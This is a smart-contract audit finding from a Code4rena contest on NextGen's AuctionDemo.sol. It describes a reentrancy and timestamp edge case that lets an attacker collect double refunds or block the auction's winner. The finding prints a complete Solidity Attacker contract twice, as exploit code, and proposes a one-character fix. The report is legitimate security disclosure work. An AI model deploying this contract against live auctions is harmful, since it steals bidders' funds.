Attacker steals all stored amount in contract by reentrancy.

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57-L130

Vulnerability details

Impact

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57C6-L61
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104C6-L120
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124C1-L130
Assume there is an auction on _tokenid and Attacker is a malicious smart contract. Attacker participate in auction and give 10 bids and also exactly in the auctionEndTime timestamp gives highest bid to win the auction. In that transaction also calls claimAuction.In all three above functions the requirement of compairsion block.timestamp to minter.getAuctionEndTime(_tokenid) is common(Edge case).It means in one timestamp(auctionEndTime)attacker can call participateToAuction ,claimAuction and cancelBid.
So at the end of auction(auctionEndTime timestamp), attacker as winner of auction,calls claimAuction().Now it reads all bids and checks bidder is winner or not.Now when reads Attacker's bid ,calls the Attacker.
Attacker.sol :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
struct auctionInfoStru {
    address bidder;
    uint256 bid;
       bool status;
}
interface auctionDemo {
    function participateToAuction(uint256 _tokenid) external payable;
    function claimAuction(uint256 _tokenid) external;
    function cancelBid(uint256 _tokenid, uint256 index) external;
    function auctionInfoData(uint256 _tokenid) external returns(auctionInfoStru[] memory);
    function returnHighestBid(uint256 _tokenid) external view returns (uint256);
}
 contract Attacker {
    // Assume auctionDemo.sol address is 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B;
    auctionDemo amd = auctionDemo(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B);
    uint _tokenid = 10000000001;
    auctionInfoStru[] ids;
    uint256 myFirstId;

    receive() external payable {
        amd.cancelBid(_tokenid, myFirstId);
        myFirstId++;
        }
//Step 1 : Attacker participate in auction and give 10 bids.
    function partInAuction() public {
        //Attacker bid ids whould be :[amd.auctionInfoData(_tokenid).length , amd.auctionInfoData(_tokenid).length +1 , amd.auctionInfoData(_tokenid).length + 2 ,...,amd.auctionInfoData(_tokenid).length + 9]
        myFirstId = amd.auctionInfoData(_tokenid).length;
        for(uint i ; i < 10 ; ++i){
            //msg.value increases 1 wei each loop
            amd.participateToAuction{value:0.01 ether + i}(_tokenid);
        }
    }
//Step 2 : Attacker calls claimAuction in auctionEndTime timestamp.
    function clamAuction() public {
        uint256 highestBid = amd.returnHighestBid(_tokenid);
        //Attacker should be winner to be able to call claimAuction() function
        amd.participateToAuction{value:highestBid + 1}(_tokenid);
        amd.claimAuction(_tokenid);
        }
 }

Each time Attacker is called,Attacker in receive function calls cancelBid(_tokenId).cancelBid() function returns bidder bid and sets auctionInfoData[_tokenid][index].status = false.Now Attacker has obtained double of his bid price.So if Attacker has 10 bids(~ 0.1 ether),he will receive 0.2 ether instead.This is a direct theft of all bidders.
In a precise scenario Attacker can steal all values stored in the AuctionDemo.sol.
There is a second scenario which attacker can prevent auction become successful and the highest bidder won't win the auction and no body else.
In this scenario Attacker gives a bid at anytime (for example id = 100).At the endTime of auction,Attacker gives highest bid(for example id = 110) and calls calimAuction as winner of auction. When Attacker's 100 bid is refund, he calls cancelBid(id=110) in receive() function and takes her money back.But highestBid and highestBidder is calculated before for condition. So at the start of function highestBidder in Attacker but after call to Attacker,because auctionInfoData[_tokenid][i].status is set false, loop never enter first if condition and there will no be any winner. In this scenario Attacker prevent winner from successful trading and auction will have no winner and Attacker just pays a little gas.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
struct auctionInfoStru {
    address bidder;
    uint256 bid;
       bool status;
}
interface auctionDemo {
    function participateToAuction(uint256 _tokenid) external payable;
    function claimAuction(uint256 _tokenid) external;
    function cancelBid(uint256 _tokenid, uint256 index) external;
    function auctionInfoData(uint256 _tokenid) external returns(auctionInfoStru[] memory);
    function returnHighestBid(uint256 _tokenid) external view returns (uint256);
}
 contract Attacker {
    // Assume auctionDemo.sol address is 0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B;
    auctionDemo amd = auctionDemo(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B);
    uint _tokenid = 10000000001;
    auctionInfoStru[] ids;
    uint256 myFirstId;

    receive() external payable {
        amd.cancelBid(_tokenid, myFirstId);
        myFirstId++;
        }
//Step 1 : Attacker participate in auction and give 10 bids.
    function partInAuction() public {
        //Attacker bid ids whould be :[amd.auctionInfoData(_tokenid).length , amd.auctionInfoData(_tokenid).length +1 , amd.auctionInfoData(_tokenid).length + 2 ,...,amd.auctionInfoData(_tokenid).length + 9]
        myFirstId = amd.auctionInfoData(_tokenid).length;
        for(uint i ; i < 10 ; ++i){
            //msg.value increases 1 wei each loop
            amd.participateToAuction{value:0.01 ether + i}(_tokenid);
        }
    }
//Step 2 : Attacker calls claimAuction in auctionEndTime timestamp.
    function clamAuction() public {
        uint256 highestBid = amd.returnHighestBid(_tokenid);
        //Attacker should be winner to be able to call claimAuction() function
        amd.participateToAuction{value:highestBid + 1}(_tokenid);
        amd.claimAuction(_tokenid);
        }
 }

Tools Used

Remix

Recommended Mitigation Steps

replace
block.timestamp >= minter.getAuctionEndTime(_tokenid)
by
block.timestamp > minter.getAuctionEndTime(_tokenid)
in claimAuction function to prevent attacker call all functions in one transaction.

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as duplicate of #1323

[c4-judge]

alex-ppg marked the issue as partial-50